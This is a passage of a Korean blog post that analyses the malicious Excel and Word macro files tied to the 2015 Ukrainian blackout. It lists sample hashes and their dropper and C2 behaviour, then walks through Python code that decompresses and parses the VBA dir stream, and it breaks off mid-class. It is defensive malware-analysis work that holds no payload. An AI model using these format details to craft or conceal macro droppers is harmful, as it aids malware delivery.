update. 2016.03.25

우크라이나 정전사태에 대한 상세분석 보고서가 공개됐다. 이번 보고서는 전문 분석 기관에서 분석했으며 SANS를 통해 공개되었다. ( SANS와 전문 분석기관이 함께? 또는 SANS 강사가 전문 분석기관에서 근무? 하는 형태가 아닐까 생각된다. )

DarkReading : Lessens From The Ukraine Electric Grid Hack
E-ISAC : Documents-E-ISAC_SANS_Ukraine_DUC_18Mar2016.pdf

update. 2016.03.07

우크라이나의 대규모 정전사태에 대해 ICS-CERT에서 다음과 같은 보고서를 공개했다. 해당 보고서에서 "우크라이나 정전사태는 CyberAttack이며 함께 발견된 BlackEnergy에 의한 것이나 (분석된 BlackEnergy 동작이외에 정전사태와 관련된) 정확한 동작은 아직 분석되지 않은 상태"라고 밝혔다

ICS-CERT : Cyber-Attack Against Ukrainian Critical Infrastructure

0x00. Intro¶

2015년 12월 23일 우크라이나에서 대규모의 정전사태가 발생했다. 이와 관련해 해외 보안 업체에서 오랜기간 조사한 결과 정전사태에 MS 오피스 프로그램 내 매크로와 관련된 것으로 확인되었다. 즉, Excel 문서 파일에 포함되어 있던 매크로를 사용해 악성코드가 생성 및 실행되었고 정전사태를 유발했다는 것이다.

이러한 과정을 통한 악성코드 감염 사례가 최근 급격히 증가하고 있으며 최종 실행되는 악성코드의 종류도 백도어, 봇넷, 랜섬웨어에 이르기까지 다양하게 이용되고 있다. 또한 악성코드 실행을 위한 방법으로 과거에는 취약점을 이용한 공격이 주를 이루었다면 작년(2015년) 부터 다시 90년대에 활동하던 매크로로 흐름이 넘어온 상태이다.

최근 이슈가 되었던 우크라이나에서 발생한 정전사태의 원인인 악성 MS 오피스 파일 (Excel, Doc) 에 대해 살펴보자.

타임라인
- 2015.12.23 우크라이나 정전 사태 발생

관련 기사

malwares.com 분석 보고서

0x10. 악성 파일 정보¶

[ Ocenka.xls ]

파일 크기 : 835,584 Bytes
SHA-256 : 0BB5E98F77E69D85BF5068BCBC5B5876F8E5855D34D9201D1CAFFBF83460CCCC
특징 : test_vba.exe 파일 생성/실행
malwares.com 분석 정보 : 분석정보 보러가기

[ test_vba.exe ]

파일크기 : 59,904 Bytes
SHA-256 : 43B69A81693488905EF655D22E395C3F8DEE2486ABA976D571D3B12433D10C93
특징 : C2서버 접속
malwares.com 분석 정보 : 분석정보 보러가기

[ $RR143TB.doc ]

파일크기 : 1,194,496 Bytes
SHA-256 : 39D04828AB0BBA42A0E4CDD53FE1C04E4EEF6D7B26D0008BD0D88B06CC316A81
특징 : vba_macro.exe 파일 생성/실행
malwares.com 분석 정보 : 분석정보 보러가기

[ vba_macro.exe ]

파일크기 : 73,235 Bytes
SHA-256 : CF52F3C07AFAA6D74E881FD6AE72C203E1CC154706DEFADE75BE02DB3962C31A
특징 : 암호화, C2서버 접속
malwares.com 분석 정보 : 분석정보 보러가기

0x20. 악성 문서 파일 내에 존재하는 매크로¶

테스트 환경 : Windows XP SP3, Microsoft Office 2007

두 악성 문서 파일을 실행하면 위 그림과 같이 매크로 차단 메시지가 나타난다. 이 보안 옵션을 활성화하면 악성 문서내의 매크로가 동작하고 실행 파일이 생성/실행된다.

위와 같이 파일 내부에 존재하는 악성 매크로를 확인할 수 있다. 따라서 VBA Storage 하위 스트림을 분석해 악성 동작을 판단하면 된다.

경로 : _VBA_PROJECT_CUR -> VBA
- _VBA_PROJECT
  - VBA
    - dir
    - Лист1
    - Лист2
    - Лист3
    - ЭтаКнига
Excel 분석 대상 : dir, Лист1, Лист2, Лист3, ЭтаКнига

경로 : Macros -> VBA
- _VBA_PROJECT
  - VBA
    - dir
    - ThisDocument
분석 대상 : dir, ThisDocument

from struct import unpack, calcsize
from collections import namedtuple

def read8(data, offset):
    return unpack("<B", data[offset])[0]

def read8Ex(data, offset):
    return read8(data, offset), offset + 1

def read16(data, offset):
    return unpack("<H", data[offset:offset + 2])[0]

def read16Ex(data, offset):
    return read16(data, offset), offset + 2

def read32(data, offset):
    return unpack("<L", data[offset:offset + 4])[0]

def read32Ex(data, offset):
    return read32(data, offset), offset + 4

def writefile(name, data):
    file(name, "wb").write(data)

def newMap(name, member):
    if isinstance(member, list):
        return namedtuple(name, " ".join(member))
    else:
        return None

def Map(struct_name, buffer, member_name, member_pattern):
    return namedtuple(struct_name, member_name)._make(unpack(member_pattern, buffer)) 

def MapSize(member_pattern):
    return calcsize(member_pattern)

def mergeNamedtuple(new_name, namedtuple1, namedtuple2):
    return namedtuple(new_name, namedtuple1._fields + namedtuple2._fields)(*(namedtuple1 + namedtuple2))

def addNamedtuple(new_name, namedtuple1, add_member_name, add_member_value):
    return namedtuple(new_name, namedtuple1._fields+(add_member_name, ))(*(namedtuple1 + (add_member_value,)))

0x30. (공통) dir Stream¶

Specification : [MS-OVBA].pdf

dir Stream은 첫 1Byte를 통해 인코딩 여부를 판단한다. 만약 인코딩된 경우 (0x01) 하위 데이터를 디코딩한다. ( 디코딩 알고리즘은 2.4.1.3.1 Decompression Algorithm 을 참고하기 바란다. ) 이와 관련해 외부 라이브러리인 oletools를 사용하면 쉽게 디코딩할 수 있다. 하위 디코딩 함수는 실제 oletools-0.41 버전의 olevba.py 모듈에서 제공하고 있는 디코딩 함수이다. 디코딩의 이해를 돕기 위해 olevba.py 내부 함수를 직접 가져왔을 뿐 사용할 땐 oletools 라이브러리를 import 해 사용하기 바란다.

dir_paths = [r"C:\Users\amanaksu\Dropbox\Public\Blog\Ukraine\sample\xls\dir.stream"]
# dir_paths = [r"C:\Users\amanaksu\Dropbox\Public\Blog\Ukraine\sample\doc\dir.stream"]

import os
from oletools import olevba

for dir_path in dir_paths : 
    try:
        dir_stream = file(dir_path, "rb").read()
        break
    except:
        pass

print "[*] Start"
print "[*] File Name : %s" % os.path.basename(dir_path)

print "[*] Decoded..........",
dec_stream = olevba.decompress_stream(dir_stream)
print "Done"

[*] Start
[*] File Name : dir.stream
[*] Decoded.......... Done

# oletools의 olevba.py 모듈내 디코딩 함수 부분

def copytoken_help(decompressed_current, decompressed_chunk_start):
    """
    compute bit masks to decode a CopyToken according to MS-OVBA 2.4.1.3.19.1 CopyToken Help

    decompressed_current: number of decompressed bytes so far, i.e. len(decompressed_container)
    decompressed_chunk_start: offset of the current chunk in the decompressed container
    return length_mask, offset_mask, bit_count, maximum_length
    """
    difference = decompressed_current - decompressed_chunk_start
    bit_count = int(math.ceil(math.log(difference, 2)))
    bit_count = max([bit_count, 4])
    length_mask = 0xFFFF >> bit_count
    offset_mask = ~length_mask
    maximum_length = (0xFFFF >> bit_count) + 3
    return length_mask, offset_mask, bit_count, maximum_length


def decompress_stream(compressed_container):
    """
    Decompress a stream according to MS-OVBA section 2.4.1

    compressed_container: string compressed according to the MS-OVBA 2.4.1.3.6 Compression algorithm
    return the decompressed container as a string (bytes)
    """
    # 2.4.1.2 State Variables

    # The following state is maintained for the CompressedContainer (section 2.4.1.1.1):
    # CompressedRecordEnd: The location of the byte after the last byte in the CompressedContainer (section 2.4.1.1.1).
    # CompressedCurrent: The location of the next byte in the CompressedContainer (section 2.4.1.1.1) to be read by
    #                    decompression or to be written by compression.

    # The following state is maintained for the current CompressedChunk (section 2.4.1.1.4):
    # CompressedChunkStart: The location of the first byte of the CompressedChunk (section 2.4.1.1.4) within the
    #                       CompressedContainer (section 2.4.1.1.1).

    # The following state is maintained for a DecompressedBuffer (section 2.4.1.1.2):
    # DecompressedCurrent: The location of the next byte in the DecompressedBuffer (section 2.4.1.1.2) to be written by
    #                      decompression or to be read by compression.
    # DecompressedBufferEnd: The location of the byte after the last byte in the DecompressedBuffer (section 2.4.1.1.2).

    # The following state is maintained for the current DecompressedChunk (section 2.4.1.1.3):
    # DecompressedChunkStart: The location of the first byte of the DecompressedChunk (section 2.4.1.1.3) within the
    #                         DecompressedBuffer (section 2.4.1.1.2).

    decompressed_container = ''  # result
    compressed_current = 0

    sig_byte = ord(compressed_container[compressed_current])
    if sig_byte != 0x01:
        raise ValueError('invalid signature byte {0:02X}'.format(sig_byte))

    compressed_current += 1

    #NOTE: the definition of CompressedRecordEnd is ambiguous. Here we assume that
    # CompressedRecordEnd = len(compressed_container)
    while compressed_current < len(compressed_container):
        # 2.4.1.1.5
        compressed_chunk_start = compressed_current
        # chunk header = first 16 bits
        compressed_chunk_header = \
            struct.unpack("<H", compressed_container[compressed_chunk_start:compressed_chunk_start + 2])[0]
        # chunk size = 12 first bits of header + 3
        chunk_size = (compressed_chunk_header & 0x0FFF) + 3
        # chunk signature = 3 next bits - should always be 0b011
        chunk_signature = (compressed_chunk_header >> 12) & 0x07
        if chunk_signature != 0b011:
            raise ValueError('Invalid CompressedChunkSignature in VBA compressed stream')
        # chunk flag = next bit - 1 == compressed, 0 == uncompressed
        chunk_flag = (compressed_chunk_header >> 15) & 0x01
        logging.debug("chunk size = {0}, compressed flag = {1}".format(chunk_size, chunk_flag))

        #MS-OVBA 2.4.1.3.12: the maximum size of a chunk including its header is 4098 bytes (header 2 + data 4096)
        # The minimum size is 3 bytes
        # NOTE: there seems to be a typo in MS-OVBA, the check should be with 4098, not 4095 (which is the max value
        # in chunk header before adding 3.
        # Also the first test is not useful since a 12 bits value cannot be larger than 4095.
        if chunk_flag == 1 and chunk_size > 4098:
            raise ValueError('CompressedChunkSize > 4098 but CompressedChunkFlag == 1')
        if chunk_flag == 0 and chunk_size != 4098:
            raise ValueError('CompressedChunkSize != 4098 but CompressedChunkFlag == 0')

        # check if chunk_size goes beyond the compressed data, instead of silently cutting it:
        #TODO: raise an exception?
        if compressed_chunk_start + chunk_size > len(compressed_container):
            logging.warning('Chunk size is larger than remaining compressed data')
        compressed_end = min([len(compressed_container), compressed_chunk_start + chunk_size])
        # read after chunk header:
        compressed_current = compressed_chunk_start + 2

        if chunk_flag == 0:
            # MS-OVBA 2.4.1.3.3 Decompressing a RawChunk
            # uncompressed chunk: read the next 4096 bytes as-is
            #TODO: check if there are at least 4096 bytes left
            decompressed_container += compressed_container[compressed_current:compressed_current + 4096]
            compressed_current += 4096
        else:
            # MS-OVBA 2.4.1.3.2 Decompressing a CompressedChunk
            # compressed chunk
            decompressed_chunk_start = len(decompressed_container)
            while compressed_current < compressed_end:
                # MS-OVBA 2.4.1.3.4 Decompressing a TokenSequence
                # logging.debug('compressed_current = %d / compressed_end = %d' % (compressed_current, compressed_end))
                # FlagByte: 8 bits indicating if the following 8 tokens are either literal (1 byte of plain text) or
                # copy tokens (reference to a previous literal token)
                flag_byte = ord(compressed_container[compressed_current])
                compressed_current += 1
                for bit_index in xrange(0, 8):
                    # logging.debug('bit_index=%d / compressed_current=%d / compressed_end=%d' % 
                    # (bit_index, compressed_current, compressed_end))
                    if compressed_current >= compressed_end:
                        break
                    # MS-OVBA 2.4.1.3.5 Decompressing a Token
                    # MS-OVBA 2.4.1.3.17 Extract FlagBit
                    flag_bit = (flag_byte >> bit_index) & 1
                    #logging.debug('bit_index=%d: flag_bit=%d' % (bit_index, flag_bit))
                    if flag_bit == 0:  # LiteralToken
                        # copy one byte directly to output
                        decompressed_container += compressed_container[compressed_current]
                        compressed_current += 1
                    else:  # CopyToken
                        # MS-OVBA 2.4.1.3.19.2 Unpack CopyToken
                        copy_token = \
                            struct.unpack("<H", compressed_container[compressed_current:compressed_current + 2])[0]
                        #TODO: check this
                        length_mask, offset_mask, bit_count, maximum_length = copytoken_help(
                            len(decompressed_container), decompressed_chunk_start)
                        length = (copy_token & length_mask) + 3
                        temp1 = copy_token & offset_mask
                        temp2 = 16 - bit_count
                        offset = (temp1 >> temp2) + 1
                        #logging.debug('offset=%d length=%d' % (offset, length))
                        copy_source = len(decompressed_container) - offset
                        for index in xrange(copy_source, copy_source + length):
                            decompressed_container += decompressed_container[index]
                        compressed_current += 2
    return decompressed_container

디코딩이 완료되었으면 순차적으로 포맷 분석을 수행하면 된다.

dir Stream은 "Information Record", "Reference Record", "Modules Record", "Terminator", "Reserved"로 구성되어 있다. 그 중 "Information Record", "Reference Record", "Modules Record" 은 각각 서브 구조체를 포함하고 있는 상위 구조체이므로 순차적으로 포맷 분석을 진행해야 한다.

0x31. (공통) dir Stream - ProjectInformation¶

class ProjectSysKind:
    # OUT : NamedTuple
    Id = 0x0001
    size = 0x4
    def __init__(self):
        self.SIZE = 10

    def parseProjectSysKind(self, data, offset):
        MEMBER_NAME = ("Proj_SysKind_Id Proj_SysKind_Size SysKind")
        MEMBER_PATTERN = "=1H2L"
        SysKind = Map("SysKind", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectSysKind(SysKind)

    def parseProjectSysKindEx(self, data, offset):
        return self.parseProjectSysKind(data, offset), offset + self.SIZE

    def getPlatform(self, syskind):
        _EnumSysKind = {
            0x00000000  :   "16bit Windows Platforms",
            0x00000001  :   "32bit Windows Platforms",
            0x00000002  :   "Machintosh Platforms",
            0x00000003  :   "64bit Windows Platforms"
        }
        try:
            return _EnumSysKind[syskind]
        except:
            return None

    def _checkProjectSysKind(self, SysKind):
        if not ( SysKind.Proj_SysKind_Id == self.Id and SysKind.Proj_SysKind_Size == self.size ):
            SysKind = None
        elif self.getPlatform( SysKind.SysKind ) == None:
            SysKind = None

        return SysKind

class ProjectLCID:
    # OUT : NamedTuple
    Id = 0x0002
    size = 0x04
    lcid = 0x00000409
    def __init__(self):
        self.SIZE = 10

    def parseProjectLCID(self, data, offset):
        MEMBER_NAME = ("Proj_LCID_Id Proj_LCID_Size Lcid")
        MEMBER_PATTERN = "=1H2L"
        Lcid = Map("Lcid", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectLcid(Lcid)

    def parseProjectLCIDEx(self, data, offset):
        return self.parseProjectLCID(data, offset), offset + self.SIZE

    def _checkProjectLcid(self, Lcid):
        if not ( Lcid.Proj_LCID_Id == self.Id and Lcid.Proj_LCID_Size == self.size and Lcid.Lcid == self.lcid ):
            Lcid = None

        return Lcid

class ProjectLCIDInvoke:
    # OUT : NamedTuple
    Id = 0x0014
    size = 0x4
    lcidinvoke = 0x00000409
    def __init__(self):
        self.SIZE = 10

    def parseProjectLCIDInvoke(self, data, offset):
        MEMBER_NAME = ("Proj_LCID_Invoke_Id Proj_LCID_Invoke_Size LcidInvoke")
        MEMBER_PATTERN = "=1H2L"
        LCIDInvoke = Map("LCIDInvoke", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectLCIDInvoke(LCIDInvoke)

    def parseProjectLCIDInvokeEx(self, data, offset):
        return self.parseProjectLCIDInvoke(data, offset), offset + self.SIZE

    def _checkProjectLCIDInvoke(self, LCIDInvoke):
        if not ( LCIDInvoke.Proj_LCID_Invoke_Id == self.Id and LCIDInvoke.Proj_LCID_Invoke_Size == self.size and LCIDInvoke.LcidInvoke == self.lcidinvoke ):
            LCIDInvoke = None

        return LCIDInvoke

class ProjectCodePage:
    # OUT : NamedTuple
    Id = 0x0003
    size = 0x02
    def __init__(self):
        self.SIZE = 8

    def parseProjectCodePage(self, data, offset):
        MEMBER_NAME = ("Proj_CP_Id Proj_CP_Size CodePage")
        MEMBER_PATTERN = "=1H1L1H"
        CodePage = Map("CodePage", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectCodePage(CodePage)

    def parseProjectCodePageEx(self, data, offset):
        return self.parseProjectCodePage(data, offset), offset + self.SIZE

    def _checkProjectCodePage(self, CodePage):
        if not ( CodePage.Proj_CP_Id == self.Id and CodePage.Proj_CP_Size == self.size ):
            CodePage = None

        return CodePage

class ProjectName:
    # OUT : NamedTuple
    Id = 0x0004
    MIN_SIZE = 1
    MAX_SIZE = 128
    def __init__(self):
        self.SIZE = 0

    def parseProjectName(self, data, offset):
        MEMBER_NAME = ("Proj_Name_Id SizeOfProjectName ProjectName")
        MEMBER_PATTERN = "=1H1L%ds" % (read32(data, offset + 2))
        self.SIZE = MapSize(MEMBER_PATTERN)
        ProjectName = Map("ProjectName", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectProjectName(ProjectName)

    def parseProjectNameEx(self, data, offset):
        return self.parseProjectName(data, offset), offset + self.SIZE

    def _checkProjectProjectName(self, ProjectName):
        if not (ProjectName.Proj_Name_Id == self.Id and self.MIN_SIZE <= ProjectName.SizeOfProjectName <= self.MAX_SIZE):
            ProjectName = None

        return ProjectName

class ProjectDocString:
    # OUT : NamedTuple
    Id = 0x0005
    MAX_SIZE = 2000
    reserved = 0x0040
    def __init__(self):
        self.SIZE = 0

    def parseProjectDocString(self, data, offset):
        MEMBER_NAME1 = ("Proj_Doc_String_Id SizeOfDocString DocString")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfDocStringUnicode DocStringUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2) * 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        DocString = mergeNamedtuple("DocString", tmp1, tmp2)
        return self._checkProjectDocString(DocString)

    def parseProjectDocStringEx(self, data, offset):
        return self.parseProjectDocString(data, offset), offset + self.SIZE

    def _checkProjectDocString(self, DocString):
        if not ( DocString.Proj_Doc_String_Id == self.Id and DocString.SizeOfDocString <= self.MAX_SIZE and DocString.Reserved == self.reserved ):
            DocString = None

        return DocString

class ProjectHelpFilePath:
    # OUT : NamedTuple
    Id = 0x0006
    MIN_SIZE1 = 0
    MAX_SIZE1 = 260
    reserved = 0x003D
    def __init__(self):
        self.SIZE = 0

    def parseProjectHelpFilePath(self, data, offset):
        MEMBER_NAME1 = ("Proj_Hlp_FP_Id SizeOfHelpFile1 HelpFile1")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfHelpFile2 HelpFile2")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        HelpFilePath = mergeNamedtuple("HelpFilePath", tmp1, tmp2)
        return self._checkProjectHelpFilePath(HelpFilePath)

    def parseProjectHelpFilePathEx(self, data, offset):
        return self.parseProjectHelpFilePath(data, offset), offset + self.SIZE

    def _checkProjectHelpFilePath(self, HelpFilePath):
        if not (HelpFilePath.Proj_Hlp_FP_Id == self.Id and self.MIN_SIZE1 < HelpFilePath.SizeOfHelpFile1 <= self.MAX_SIZE1 and 
                HelpFilePath.Reserved == self.reserved and HelpFilePath.SizeOfHelpFile1 == HelpFilePath.SizeOfHelpFile2):
            HelpFilePath = None

        return HelpFilePath

class ProjectHelpContext:
    # OUT : NamedTuple
    Id = 0x0007
    size = 0x04
    def __init__(self):
        self.SIZE = 10

    def parseProjectHelpContext(self, data, offset):
        MEMBER_NAME = ("Proj_Hlp_Context_Id Proj_Hlp_Context_Size HelpContext")
        MEMBER_PATTERN = "=1H2L"
        HelpContext = Map("HelpContext", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectHelpContext(HelpContext)

    def parseProjectHelpContextEx(self, data, offset):
        return self.parseProjectHelpContext(data, offset), offset + self.SIZE

    def _checkProjectHelpContext(self, HelpContext):
        if not ( HelpContext.Proj_Hlp_Context_Id == self.Id and HelpContext.Proj_Hlp_Context_Size == self.size ):
            HelpContext = None

        return HelpContext

class ProjectLibFlags:
    # OUT : NamedTuple
    Id = 0x0008
    size = 0x04
    flag = 0x0
    def __init__(self):
        self.SIZE = 10

    def parseProjectLibFlags(self, data, offset):
        MEMBER_NAME = ("Proj_Lib_Flags_Id Proj_Lib_Flags_Size ProjectLibFlags")
        MEMBER_PATTERN = "=1H2L"
        LibFlags = Map("LibFlags", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectLibFlags(LibFlags)

    def parseProjectLibFlagsEx(self, data, offset):
        return self.parseProjectLibFlags(data, offset), offset + self.SIZE

    def _checkProjectLibFlags(self, LibFlags):
        if not ( LibFlags.Proj_Lib_Flags_Id == self.Id and LibFlags.Proj_Lib_Flags_Size == self.size and LibFlags.ProjectLibFlags == self.flag ):
            LibFlags = None

        return LibFlags

class ProjectVersion:
    # OUT : NamedTuple
    Id = 0x0009
    reserved = 0x04
    def __init__(self):
        self.SIZE = 12

    def parseProjectVersion(self, data, offset):
        MEMBER_NAME = ("Proj_Ver_Id Reserved VersionMajor VersionMinor")
        MEMBER_PATTERN = "=1H2L1H"
        Version = Map("Version", data[offset:offset + MapSize(MEMBER_PATTERN)], MEMBER_NAME, MEMBER_PATTERN)
        return self._checkProjectVersion(Version)

    def parseProjectVersionEx(self, data, offset):
        return self.parseProjectVersion(data, offset), offset + self.SIZE

    def _checkProjectVersion(self, Version):
        if not (Version.Proj_Ver_Id == self.Id and Version.Reserved == self.reserved ):
            Version = None

        return Version

class ProjectConstants:
    # OUT : NamedTuple
    Id = 0x000C
    MAX_SIZE = 1015
    reserved = 0x003C
    def __init__(self):
        self.SIZE = 0

    def parseProjectConstants(self, data, offset):
        MEMBER_NAME1 = ("Proj_Constants_Id SizeOfConstants Constants")
        MEMBER_PATTERN1 = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size

        MEMBER_NAME2 = ("Reserved SizeOfConstantsUnicode ConstantsUnicode")
        MEMBER_PATTERN2 = "=1H1L%ds" % (read32(data, offset + 2) * 2)
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size

        Constants = mergeNamedtuple("Constants", tmp1, tmp2)
        return self._checkProjectConstants(Constants)

    def parseProjectConstantsEx(self, data, offset):
        return self.parseProjectConstants(data, offset), offset + self.SIZE

    def _checkProjectConstants(self, Constants):
        if not ( Constants.Proj_Constants_Id == self.Id and Constants.SizeOfConstants <= self.MAX_SIZE and Constants.Reserved == self.reserved ):
            Constants = None

        return Constants

class ProjectInformation:
    # OUT : NamedTuple
    def __init__(self):
        self.SIZE = 0

    def _getProjectSysKind(self, data, offset):
        obj = ProjectSysKind()
        out, offset = obj.parseProjectSysKindEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectLCID(self, data, offset):
        obj = ProjectLCID()
        out, offset = obj.parseProjectLCIDEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectLCIDInvoke(self, data, offset):
        obj = ProjectLCIDInvoke()
        out, offset = obj.parseProjectLCIDInvokeEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectCodePage(self, data, offset):
        obj = ProjectCodePage()
        out, offset = obj.parseProjectCodePageEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectName(self, data, offset):
        obj = ProjectName()
        out, offset = obj.parseProjectNameEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectDocString(self, data, offset):
        obj = ProjectDocString()
        out, offset = obj.parseProjectDocStringEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectHelpFilePath(self, data, offset):
        obj = ProjectHelpFilePath()
        out, offset = obj.parseProjectHelpFilePathEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectHelpContext(self, data, offset):
        obj = ProjectHelpContext()
        out, offset = obj.parseProjectHelpContextEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectLibFlags(self, data, offset):
        obj = ProjectLibFlags()
        out, offset = obj.parseProjectLibFlagsEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectVersion(self, data, offset):
        obj = ProjectVersion()
        out, offset = obj.parseProjectVersionEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getProjectConstants(self, data, offset):
        obj = ProjectConstants()
        out, offset = obj.parseProjectConstantsEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseProjectInformation(self, data, offset):
        print "[*] InformationRecord",
        
        SysKindRecord, offset = self._getProjectSysKind(data, offset)
        LcidRecord, offset = self._getProjectLCID(data, offset)
        LcidInvokeRecord, offset = self._getProjectLCIDInvoke(data, offset)
        CodePageRecord, offset = self._getProjectCodePage(data, offset)
        NameRecord, offset = self._getProjectName(data, offset)
        DocStringRecord, offset = self._getProjectDocString(data, offset)
        HelpFilePathRecord, offset = self._getProjectHelpFilePath(data, offset)
        HelpContextRecord, offset = self._getProjectHelpContext(data, offset)
        LibFlagsRecord, offset = self._getProjectLibFlags(data, offset)
        VersionRecord, offset = self._getProjectVersion(data, offset)
        ConstantsRecord, offset = self._getProjectConstants(data, offset)

        PROJ_INFO_MEMBER = ["SysKindRecord", "LcidRecord", "LcidInvokeRecord", "CodePageRecord", "NameRecord",
                            "DocStringRecord", "HelpFilePathRecord", "HelpContextRecord", "LibFlagsRecord",
                            "VersionRecord", "ConstantsRecord"]
        ProjectInfo = newMap("ProjectInfo", PROJ_INFO_MEMBER)
        
        out = None
        out = ProjectInfo(SysKindRecord=SysKindRecord, LcidRecord=LcidRecord, LcidInvokeRecord=LcidInvokeRecord,
                           CodePageRecord=CodePageRecord, NameRecord=NameRecord, DocStringRecord=DocStringRecord,
                           HelpFilePathRecord=HelpFilePathRecord, HelpContextRecord=HelpContextRecord,
                           LibFlagsRecord=LibFlagsRecord, VersionRecord=VersionRecord, ConstantsRecord=ConstantsRecord)
        
        return self._checkProjectInformation(out)

    def parseProjectInformationEx(self, data, offset):
        return self.parseProjectInformation(data, offset), offset + self.SIZE
    
    def _checkProjectInformation(self, out):
        if out == None:
            print "..........Error"
        else:
            print "..........Done"
            
        return out

0x32. (공통) dir Stream - ProjectReferences¶

class ReferenceOriginal:
    # OUT : NamedTuple
    def __init__(self):
        self.SIZE = 0

    def parseReferenceOriginal(self, data, offset):
        MEMBER_NAME = ("Ref_Original_Id SizeOfLibidOriginal LibidOriginal")
        MEMBER_PATTERN = "=1H1L%ds" % (read32(data, offset + 2))
        size = MapSize(MEMBER_PATTERN)
        ReferenceOriginal = Map("ReferenceOriginal", data[offset:offset + size], MEMBER_NAME, MEMBER_PATTERN)
        self.SIZE += size
        return self._checkReferenceOriginal(ReferenceOriginal)

    def parseReferenceOriginalEx(self, data, offset):
        return self.parseReferenceOriginal(data, offset), offset + self.SIZE

    def _checkReferenceOriginal(self, ReferenceOriginal):
        if not (ReferenceOriginal.Ref_Original_Id == 0x0033):
            ReferenceOriginal = None

        return ReferenceOriginal

class ReferenceControl:
    # OUT : NamedTuple
    Id = 0x002F
    reserved1 = 0x00
    reserved2 = 0x00
    reserved3 = 0x0030
    reserved4 = 0x00
    reserved5 = 0x00
    def __init__(self):
        self.SIZE = 0

    def _getReferenceOriginal(self, data, offset):
        obj = ReferenceOriginal()
        out, offset = obj.parseReferenceOriginalEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def _getReferenceName(self, data, offset):
        obj = ReferenceName()
        out, offset = obj.parseReferenceNameEx(data, offset)
        self.SIZE += obj.SIZE
        return out, offset

    def parseReferenceControl(self, data, offset):
        OriginalRecord, offset = self._getReferenceOriginal(data, offset)

        MEMBER_NAME1 = ("Ref_Ctrl_Id SizeTwiddled SizeOfLibidTwiddled LibidTwiddled Reserved1 Reserved2")
        MEMBER_PATTERN1 = "=1H2L%ds1L1H" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN1)
        tmp1 = Map("tmp1", data[offset:offset + size], MEMBER_NAME1, MEMBER_PATTERN1)
        offset += size
        self.SIZE += size
        ReferenceControl = mergeNamedtuple("ReferenceControl", OriginalRecord, tmp1)

        NamedRecordExtended, offset = self._getReferenceName(data, offset)
        ReferenceControl = mergeNamedtuple("ReferenceControl", ReferenceControl, NamedRecordExtended)

        MEMBER_NAME2 = ("Reserved3 SizeExtended SizeOfLibidExtended LibidExtended Reserved4 Reserved5 OriginalTypeLib Cookie")
        MEMBER_PATTERN2 = "=1H2L%ds1L1H16s1L" % (read32(data, offset + 6))
        size = MapSize(MEMBER_PATTERN2)
        tmp2 = Map("tmp2", data[offset:offset + size], MEMBER_NAME2, MEMBER_PATTERN2)
        self.SIZE += size
        ReferenceControl = mergeNamedtuple("ReferenceControl", ReferenceControl, tmp2)
        return self._checkReferenceControl(ReferenceControl)

    def parseReferenceControlEx(self, data, offset):
        return self.parseReferenceControl(data, offset), offset + self.SIZE

    def parse(self, data, offset):
        return self.parseReferenceControlEx(data, offset)

    def _checkReferenceControl(self, ReferenceControl):
        if not (ReferenceControl.Ref_Ctrl_Id == self.Id and ReferenceControl.Reserved1 == self.reserved1 and
                ReferenceControl.Reserved2 == self.reserved2 and ReferenceControl.Reserved3 == self.reserved3 and
                ReferenceControl.Reserved4 == self.reserved4 and ReferenceControl.Reserved5 == self.reserved5):
            ReferenceControl = None

        return ReferenceControl

class ReferenceRegistered:
    # OUT : NamedTuple
    Id = 0x000D
    reserved1 = 0x00
    reserved2 = 0x00
    def __init__(self):
